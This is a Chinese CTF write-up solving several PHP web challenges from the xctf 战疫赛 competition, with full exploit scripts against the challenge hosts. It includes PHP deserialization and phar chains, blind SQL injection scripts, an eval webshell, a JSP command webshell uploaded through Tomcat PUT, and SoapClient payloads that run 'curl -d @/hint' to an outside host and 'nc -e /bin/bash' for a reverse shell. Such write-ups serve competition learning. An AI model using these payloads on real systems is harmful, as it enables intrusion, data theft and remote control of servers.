xctf-战疫赛WP(php)

sql和java和nodejs的题目不管出没出,我都不写了,写一下php的,除了php的题目,其他的就留给自己细细品了(主要是我不太会,怕写的不好被师傅喷)。

还有一个很重的事情要说。。。。我好喜欢石原里美。

happyvacation

  • 这题是全场一血,原题应该是考一个XSS,我是非预期做的,后来被修复了。。我就找了出题人拿他的原题写WP

  • 首先第一步先扫目录,发现有git源码泄漏。那githack一梭子。

  • 问题代码出在lib.php中的askimage-20200309142337303

  • 这里有一个eval函数,本来想从这里命令注入RCE的,但是过滤的死死的。然后注意到了第167行的$this->user=clone $user,这里的$user对象是直接clone的。在来看执行了answer方法的语句。在quiz.php

image-20200309142615492

  • 这里同时要传入一个refer参数,设置了这里的refer就会重定向到这个页面,然后我一想,这不是同一个session吗,再看上面image-20200309142845686

  • 这里传入answer可控,而上面的cloneask类带来了一个新的$this->user,那也就是我们可以设置这个session的任意成员的任意属性或者人任意成员的任意成员的的属性为false

  • 此时我设置refercustomliz,然后把answer设为user->uploader->black_list,这样,在这个session中,image-20200309143240640

  • uploader类的black_list就被设为了false,这样上传就没有限制了,可以上传任意马一把梭子。

image-20200309144551632

image-20200309144754084

hackme

  • 扫描了以后有www.zip源码泄漏

  • 源码中第一层有一个init.php设置了ini_set('session.serialize_handler','php_serialize');

  • 第二层中core中也有一个init.php设置了ini_set('session.serialize_handler', 'php');

  • 无疑是session的反序列化问题,执行这个功能的页面是uload,这里输入的签名会以php_serialize的格式进行序列化,然后在访问core的时候会以php的格式进行反序列化。我把sign设为下面。那反序列化的时候woc就变成了见,后面就变成了值,这样身份就变成了admin,然后访问第二层源码

1
woc|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:3:"yds";}

image-20200311185600747

  • 很简单,一共几个需要注意的点,通过对url规则的绕过,再加上下面的127.0.0.1,不能使用data://可以结合compress.zlib协议,
1
compress.zlib://data:@127.0.0.1/plain;base64,
  • 后面添加要传入的参数的base64即可,四字节弹shell,老问题了,拿了orange师傅的脚本,弹不了shell。。应该是内网资源问题,我就直接写马了curl vps > yds.php,

image-20200309151020654

image-20200309151313882

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
from time import sleep
from urllib import parse
from requests import session
import base64
import random

s = session()
url = "http://121.36.222.22:88/login.php"
s.post(url, data={'name':'ydsydsyds'})
url1 = "http://121.36.222.22:88/?page=upload"
s.post(url1, data={'sign':'woc|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";}'})
url3 = "http://121.36.222.22:88/core/index.php"
s.get(url3)

ip = 'x.x.x.x'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')])
pos0 = 'y'
pos1 = 'd'
pos2 = 's'

payload = [
'>dir',
'>%s\>' % pos0,
'>%st-' % pos1,
'>sl',
'*>v',
'>rev',
'*v>%s' % pos2,
'>p',
'>ph\\',
'>y.\\',
'>\>\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\ \\',
'>rl\\',
'>cu\\',
'sh ' + pos2,
'sh ' + pos0,
]

for i in payload:
data = {'url':'compress.zlib://data:@127.0.0.1/plain;base64,'+base64.b64encode(i.encode()).decode()}
r = s.post(url3, data=data)
print(r.text)
print(data['url'])
sleep(0.1)

webct

  • 扫描了一下有www.zip源码泄漏

  • 一共两个功能,一个mysqli连接外部的mysql服务,一个上传图片,考点很明了,上传一个phar然后利用伪造mysql服务端进行文件读取,因为这了我们可以设置option为8,然后就启用MYSQL_OPT_LOCAL_INFILE了。image-20200309152226591

image-20200309152244399

  • 这里的pop链真的是我见过唯一可以和浙江省赛的反序列化题比一比的链子了。真”长” ,这里可以命令注入,我直接写马

image-20200309152604166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class Listfile
{
public $file;

function __construct()
{
$this->file = ";/readflag";
}
}

class Fileupload
{
public $file;

function __construct()
{
$this->file = new Listfile();
}
}



$payload = new Fileupload();

$exp = new Phar('yds.phar');
$exp -> startBuffering();
$exp->setStub('<?php __HALT_COMPILER(); ? >');
$exp -> addFromString('yds.txt','yds_is_so_beautiful');
$exp -> setMetadata($payload);
$exp -> stopBuffering();

rename('yds.phar', 'yds.jpg');
  • 然后把生成的yds.jpg上传。

  • 然后就用Rogue-MySql-Server一把梭,把option设为8.

  • phar协议去读

image-20200309153610015

  • 然后

image-20200309153647069

image-20200309153927650

fmkq

  • 直接审计源码

  • 第一个点head不为空不能是常规字符,会加到curl_init上,那我们要顺利执行的话,利用命名空间的特性把head设为\即可

  • 第二点begin,这里的格式化字符串可以利用%1$s%s进行字符串替换绕过

  • 第三个点,测试内网ssrf,8080端口打通。

  • 得到一个python的服务测试一堆继承链啥的。

Payload1:

得到vipcode

1
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0
  • 然后带着vipcode去访问得到根目录文件夹fl4g_1s_h3re_u_wi11_rua0,但是访问不了

  • 找到了读文件的源码app/base/readfile.py,可以读取,发现无法访问image-20200309160203486

  • 这里利用拼接即可。

payload:

1
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3

![image-20200309160616399](/Users/largepoplar/Library/Application Support/typora-user-images/image-20200309160616399.png)

easy_trick_gzmtu

  • 这个题。前面部分是队友做出来的,谁能想到这日期格式?

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://121.37.181.246:6333/?time=2017'||{}"

select = '\\s\\e\\l\\e\\c\\t'
substr = "\\s\\u\\b\\s\\t\\r"
ascii_sql = "\\a\\s\\c\\i\\i"
res = ""
for i in range(1,10000):
tmp = len(res)
high = 127
low = 31
mid = (low + high) // 2
while high > low:
# payload = "{}({}(({} \\d\\a\\t\\a\\b\\a\\s\\e()),{},1))>{}%23".format(ascii_sql,substr,select,i,mid)
payload = "{}({}(({} \\g\\r\\o\\u\\p\\_\\c\\o\\n\\c\\a\\t\\(\\u\\r\\l) \\f\\r\\o\\m \\a\\d\\m\\i\\n\\),{},1))>{}%23".format(ascii_sql,substr,select,i,mid)
print(payload)
r1 = requests.get(url.format(payload))
if 'Brian Kernighan' in r1.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
if mid == 31:
print(res[:-1])
print('end.......')
exit(-1)
  • 得到信息
1
2
3
username:admin
password:20200202goodluck
url:/eGlhb2xldW5n
  • 还TM的有提示,好题好题

image-20200309162248304

  • 这里需要用本地读取,可以用file协议
1
http://121.37.181.246:6333/eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

image-20200309162851504

  • 首先要满足这里的正则,在中间加个换行符%0a就可以了image-20200309174414658

  • 第二个要逃避这个正则,直接用取反的方法即可,另外为了符合aiisc_to_chr方法的逻辑,把所有字母设为大写,这里不能直接读取flag,尝试用了/var/../flag成功读取。

exp

1
2
3
4
abc = 'VAR/../FLAG'

for i in abc:
print(ord(i), end='')
1
2
3
4
5
6
7
8
9
<?php

class trick{
public $gf;
}

$a = new trick();
$a->gf = '~'.~'8665824746464770766571';
echo base64_encode(serialize($a));

Payload

1
http://121.37.181.246:6333//eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php?code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyMzoifsfJycrHzcvIy8nLycvIyM/IycnKyM4iO30=&pass=a.passwd%0a20200202

image-20200309174733600

Sqlcheckin

  • 这个题,虽然简单,但我没见过哈哈。
1
2
3
4
5
6
7
8
9
10
11
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
  • 源码如此,但还有waf,直接payloadusername=admin&password=1'&'2

  • sql语句就是select username from users where username='admin' and password='1'&'2';

image-20200309232508771

  • 这里用了个弱类型,密码应该是全字母,'ydsisbeautiful'=0

PHP-UAF

  • 这个题好像是被搅屎了,disable_function 限制的死死的,就是一个bypass_disable_function,php版本看到是7.4,用7.4的马就行,一共三步

(1)命令写马

1
http://121.37.161.79/?cmd=file_put_contents(%27./yds.php%27,%27%3C?php%20@eval($_POST[woc]);?%3E%27);

(2)蚁剑连马,上bypass用的马。

image-20200309235439245

(3)打,这题没啥操作了,没有回显,队友往死里刷新都没用。既然如此

image-20200309235527276

  • 还是没跑出来,呸

nweb

这题是rdd师傅写的,考点和另外一道题目重复了,我就不自己复现了(其实是我看完石原里美的电视剧以后,这题的靶场环境坏了,不愧是我老婆,真他娘的好看)

此题WP来自亲爱的rdd师傅

  • 打开链接,是一个登录界面,有一个注册链接,同时目录扫描了一下,发现admin.html 和admin.php
  • 随便注册一个rdd rdd,就可以登录,有一个flag界面,但是点击显示You don't have permission to

8STNgU.png

  • 在这个界面里给出几点信息

源码泄露直接拿到flag

注册的用户也有等级之分哦

flag.php里没有flag!!!

  • 源码应该看一下

  • 注册的时候,应该注册一个高等级的

  • flag.php里绝对有flag

  • 但是题目没有给出源码,就尝试看一下html源码

  • 在注册界面中发现有type参数,并且有<!-- 110 -->的提示

8STzan.png

  • F12修改元素,提交一下(也可以bp抓包改),注册一个高等级的用户

  • 再用新的用户登陆,即可访问flag界面

8SHESf.png

  • 有个搜索框,猜测存在注入

  • 输入1,回显:There is no flag............

  • 输入1’ or 1=1#,回显There is flag!

  • 判断存在盲注

  • 脚本跑出数据库名:ctf-2

  • 在跑其他数据时,发现出了点问题,经过一番fuzz后,得出select和from需要双写绕过

  • 接下来继续构造payload读表名,列名

1
2
表名:admin,fl4g,jd,user
列名:username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu,username,pwd,tupian
  • 最终获取flag的payload:base2 = "flag=1'or ascii(substr((selselectect flag frfromom fl4g),{},1))>{}%23"

  • 结果:

8SbPuF.png

  • 只跑除了一半的flag,但是前半段给出了提示Rogue-MySql-Server,搜索一下发现存在任意文件读取漏洞。

  • 找不到利用点,这时想到了前面扫到的admin.html,也是一个登陆框

  • 在刚刚的盲注中,爆出的有个admin表,于是报下内容,得出用户名和密码:admin e2ecea8b80a96fb07f43a2f83c8b0960,密码MD5解密一下是:whoamiadmin

  • 登陆后,跳转到admin.php,发现可以利用Rogue-MySql-Server的洞

8Sqeaj.png

  • 在网上找了下脚本,github有开源的,但是不知道为什么读不出来,于是自己找了个野脚本,修改端口,修改要读的文件为flag.php(前面提示的flag.php不可能有flag,所以flag.php肯定有flag

  • 最后的结果如下

8SqBQK.png

  • flag拼接一下:flag{Rogue-MySql-Server-is-nday}

nothardweb

  • 这题的第一步也是www.zip的源码泄漏,看到的是第一层,很明显是一个cbc,然后看到了mt_rand,应该是之前提到过的无需暴破还原mt_rand()种子。我实在对这类的密码啥的很绝望,后来wons师傅正经算出来了。

  • 后来看到Shana师傅在绝望之际碰见了个非预期,在这个session下,只要设置session为空值,$_SEESION['key'],$_SEESION['iv']就都是'',然后按照本身的代码直接算就可以了,就可以到题目的第二层了。

    image-20200310204255345

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class User{
public $username;
function __construct()
{
$this->username = 'admin';
}
function show(){
return "username: $this->username\n";
}
}

$yds = new User();
$ser_yds = serialize($yds);
$cipher = openssl_encrypt($ser_yds, "des-cbc", '', 0, '');
echo $user = base64_encode($cipher)."\n";
echo $cookie = md5($cipher);
  • 成功包含

然后就是利用soapclient来弹shell了

exp2

1
2
3
4
5
6
7
8
9
10
11
<?php
$path = urlencode("`\$cc`;curl -d '@/hint' xxxxxxx:2207");
$path = "http://10.10.1.12/"."?cc=$path";
$yds= new SoapClient(null, array('uri' => $path, 'location' => $path));
$ser_yds = serialize($yds);
$cipher = openssl_encrypt($ser_yds, "des-cbc", '', 0, '');
$cookie = md5($ser_yds);
$user = base64_encode($cipher);
echo $user;
echo "\n";
echo $cookie;

获得了/hint下面的提示,下一层在10.10.2.13:8080

image-20200311172930681

得还是要弹shell,好多方法都谈不了,最后找到了这个成功了。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$path = urlencode("`\$cc`;nc -e /bin/bash xxxxxxx 2207");
$path = "http://10.10.1.12/"."?cc=$path";
$yds= new SoapClient(null, array('uri' => $path, 'location' => $path));
$ser_yds = serialize($yds);
$cipher = openssl_encrypt($ser_yds, "des-cbc", '', 0, '');
$cookie = md5($ser_yds);
$user = base64_encode($cipher);
echo $user;
echo "\n";
echo $cookie;

image-20200311180630488

发现是个Tomcat/8.5.19,这个版本的Tomcat有文件任意写的漏洞。。

冲一发,上床一个jsp的木马

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

payload

1
2
3
curl -X PUT http://10.10.2.13:8080/yds.jsp/ -d "`echo PCUKCWphdmEuaW8uSW5wdXRTdHJlYW0gaW49UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwoJaW50IGEgPSAtMTsKICBieXRlW10gYiA9IG5ldyBieXRlWzIwNDhdOwogIG91dC5wcmludCgiPHByZT4iKTsKICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgIH0KICBvdXQucHJpbnQoIjwvcHJlPiIpOwolPg==|base64 -d`"

curl 10.10.2.13:8080/yds.jsp?i=cat%20/flag

image-20200311181825780

得到[flag